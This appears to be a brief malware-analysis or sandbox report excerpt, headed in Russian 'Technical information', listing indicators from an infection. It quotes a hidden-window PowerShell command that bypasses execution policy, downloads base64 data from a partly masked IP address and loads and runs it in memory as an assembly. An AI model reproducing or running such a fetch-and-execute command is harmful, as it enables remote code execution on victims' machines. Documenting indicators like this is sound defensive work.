Техническая информация
- http://77.##.83.136/zoo_mage.ocx
- '77.##.83.136':80
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoExit -Exec Bypass -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('http://77.##.83.136/zoo_mage.ocx'))).EntryP...' (со скрытым окном)